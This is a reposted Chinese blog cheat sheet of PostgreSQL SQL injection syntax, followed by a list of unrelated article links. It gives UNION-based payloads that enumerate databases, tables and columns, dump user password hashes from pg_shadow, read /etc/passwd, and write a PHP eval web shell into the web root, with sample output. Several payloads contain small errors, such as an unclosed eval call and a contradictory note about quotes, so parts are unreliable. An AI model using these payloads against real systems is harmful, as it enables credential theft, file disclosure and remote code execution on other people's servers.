zoukankan      html  css  js  c++  java
  • Postgresql注入语法指南<转>

    在注入中常用的几个注入语法通常有这么几个: --显示版本 --从已知表段字段爆数据 --列库 --列数据库中的表段 --列表段中的字段 --读取配置信息,例如数据库登陆账户和密码 --读写文件 那我就一个一个来讲这些Postgresql的语法是怎样的
    --显示版本

    1. select version();
    2. union select 1,2,...n,version()
    3. //version()函数与MySQL的是一样的
    ###########################################################################################

    回显数据举例: PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)
    --从已知表段字段爆数据

    1. select aa from bb where cc=dd;
    2. union select 1,2,....n,aa from bb where cc=dd
    3. //所有的SQL语法几乎都是这样的语法来爆数据
    ###########################################################################################

    无举例
    --列库

    1. select datname from pg_database;
    2. union select 1,2,....,n,datname from pg_database;
    ###########################################################################################

    回显举例: postgres,prc,template1,template0
    --列数据库中的表段

    1. select relname from pg_stat_user_tables limit 1 offset n;
    2. //类似于MySQL中的information_schema.tables,虽然不大恰当
    3. union select relname from pg_stat_user_tables limit 1 offset 3;
    4. //limit 1 offset 0和MySQL的limit 0,1一个效果。
    ###########################################################################################

    无举例
    --列表段中的字段

    1. select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;
    2. union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5
    ###########################################################################################

    //同MySQL
    --读取配置信息,例如数据库登陆账户和密码

    1. select usename,passwd from pg_shadow;
    2. union select 1,2,...n,usename,passwd from pg_shadow
    3. //pg_shadow数据库类似于MySQL中的mysql数据库
    ###########################################################################################

    root账户为postgres 回显举例: postgres 9d2e7638fd7c7e433f0074a8f65cfd3a
    --读取文件

    1. create table test(code text);
    2. copy test from '/etc /passwd'with delimiter E'\t';
    3. (注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)
    ###########################################################################################

    回显举例: Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"
    --写入文件

    1. insert into test values ('<?php eval($_POST["cmd"];?>');
    2. copy test(code) to ”/var/www/one.php”;
    ###########################################################################################

    回显举例: Query failed: ERROR: could not open file "/var/www/html/aaa.php" for writing: Permission denied pg_file_read()不如MySQL中的load_file()那么好用 例如:

    1. select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));
    ###########################################################################################

    则回显: Query failed: ERROR: function pg_file_length("unknown") does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.
    Postgresql我也不是特别熟,所以写到这里。

  • 相关阅读:
    Selenium2+python自动化20-Excel数据参数化【转载】
    linux下安装jdk
    linux下的tomcat自动退出的问题
    操作笔记:tomcat在正式环境的常见问题和idea的远程调试
    Maven 的41种骨架
    ant风格是什么?
    tomcat 页面管理
    操作笔记:linux下查看端口被占用
    操作笔记:linux下安装ftp
    linux下的mysql乱码问题
  • 原文地址:https://www.cnblogs.com/demonspider/p/3015289.html
Copyright © 2011-2022 走看看